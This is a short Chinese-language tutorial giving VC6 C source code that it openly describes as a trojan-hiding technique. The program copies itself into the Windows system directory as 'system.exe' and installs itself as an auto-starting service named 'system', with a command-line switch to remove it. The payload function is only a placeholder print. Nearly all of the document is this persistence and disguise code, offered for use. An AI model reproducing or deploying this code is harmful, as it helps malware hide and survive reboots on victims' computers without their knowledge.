系统服务控制技术

以下代码是VC6的代码对系统服务的创建和删除之类的操作，用于木马隐藏技术。

#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
void WINAPI ServiceMain(DWORD,LPTSTR *);
void WINAPI ServiceCtrlHandler(DWORD Opcode);  //服务控制函数
BOOL InstallCmdService();
void DelServices();
void door();
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
int main(int argc,char *argv[])
{
	SERVICE_TABLE_ENTRY DispatchTable[]=
	{
		{"system",ServiceMain},
		{NULL,NULL}
	};
	if(argc==2)
	{
		if(!stricmp(argv[1],"-i"))
		{
			InstallCmdService();
		}
		else if(!stricmp(argv[1],"-r"))
		//比较字符串s1和s2，不区分字母的大小写
		{
			DelServices();
		}
		return 0;
	}
	StartServiceCtrlDispatcher(DispatchTable);  //把入口点的地址传入
	return 0;
}
void door()
{
	printf("muma yunxing");
	//木马主程序入口
}
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpArgv)
//服务主函数
{
	m_ServiceStatus.dwServiceType=SERVICE_WIN32;
	m_ServiceStatus.dwCurrentState=SERVICE_START_PENDING;
	m_ServiceStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
	m_ServiceStatus.dwWin32ExitCode=0;
	m_ServiceStatus.dwServiceSpecificExitCode=0;
	m_ServiceStatus.dwCheckPoint=0;
	m_ServiceStatus.dwWaitHint=0;
	m_ServiceStatusHandle=RegisterServiceCtrlHandler("system",ServiceCtrlHandler);
	if(m_ServiceStatusHandle==(SERVICE_STATUS_HANDLE)0)return;
	//设置服务状态
	m_ServiceStatus.dwCurrentState=SERVICE_RUNNING;
	m_ServiceStatus.dwCheckPoint=0;
	if(SetServiceStatus(m_ServiceStatusHandle,&m_ServiceStatus))
		bRunning=true;
	door();  //启动我们的服务程序
	return;
}
/*-----------服务控制函数----------------*/
void WINAPI ServiceCtrlHandler(DWORD Opcode)
{
	switch(Opcode)
	{
	case SERVICE_CONTROL_PAUSE:  //使用pause命令终止服务
		m_ServiceStatus.dwCurrentState=SERVICE_PAUSED;
		break;
	case SERVICE_CONTROL_CONTINUE:  //使用continue命令继续服务
		m_ServiceStatus.dwCurrentState=SERVICE_RUNNING;
		break;
	case SERVICE_CONTROL_STOP:    //使用stop停止服务
		m_ServiceStatus.dwWin32ExitCode=0;
		m_ServiceStatus.dwCurrentState=SERVICE_STOPPED;
		m_ServiceStatus.dwCheckPoint=0;
		m_ServiceStatus.dwWaitHint=0;
		SetServiceStatus(m_ServiceStatusHandle,&m_ServiceStatus);
		bRunning=false;
		break;
	case SERVICE_CONTROL_INTERROGATE:
		break;
	}
	return;
}
/*---------------安装服务函数-----------------*/
BOOL InstallCmdService()
{
	char strDir[1024];
	SC_HANDLE schSCManager,schService;
	GetCurrentDirectory(1024,strDir);
	GetModuleFileName(NULL,strDir,sizeof(strDir));
	char chSysPath[1024];
	GetSystemDirectory(chSysPath,sizeof(chSysPath));
	strcat(chSysPath,"\\system.exe");
	if(CopyFile(strDir,chSysPath,FALSE))printf("Copy file OK\n");
	strcpy(strDir,chSysPath);
	schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	if(schSCManager==NULL)
	{
		printf("open scmanager failed,maybe you do not have the privilage to do this");
		return false;
	}
	LPCTSTR lpszBinaryPathName=strDir;
	schService=CreateService(schSCManager,
		"system",
		"system",       //将服务的信息添加到SCM的数据库中
		SERVICE_ALL_ACCESS, //访问权限
		SERVICE_WIN32_OWN_PROCESS, //服务类型
		SERVICE_AUTO_START,  //启动类型
		SERVICE_ERROR_NORMAL, //错误控制类型
		lpszBinaryPathName,  //服务名
		NULL,
		NULL,
		NULL,
		NULL,
		NULL);
	if(schService) printf("Install Service Success!\n");
	else
		return false;
	CloseServiceHandle(schService);
	return true;
}
/*-----------------删除服务函数----------------------*/
void DelServices()
{
	char name[100];
	SC_HANDLE scm;
	SC_HANDLE service;
	SERVICE_STATUS status;
	strcpy(name,"system");
	if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
	{
		printf("OpenSCManager Error");

	}
	service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
	if(!service)
	{
		printf("OpenService error!");
		return;
	}
	BOOL isSuccess=QueryServiceStatus(service,&status);
	if(!isSuccess)
	{
		printf("QueryServiceStatus error!");
		return;
	}
	if(status.dwCurrentState!=SERVICE_STOPPED)
	{
		isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
		if(!isSuccess)
			printf("Stop Service error");
		Sleep(500);

	}
	isSuccess=DeleteService(service);
	if(!isSuccess)
		printf("Delete service Fail!");
	else
		printf("Delete Service Success!");
	CloseServiceHandle(service);
	CloseServiceHandle(scm);
}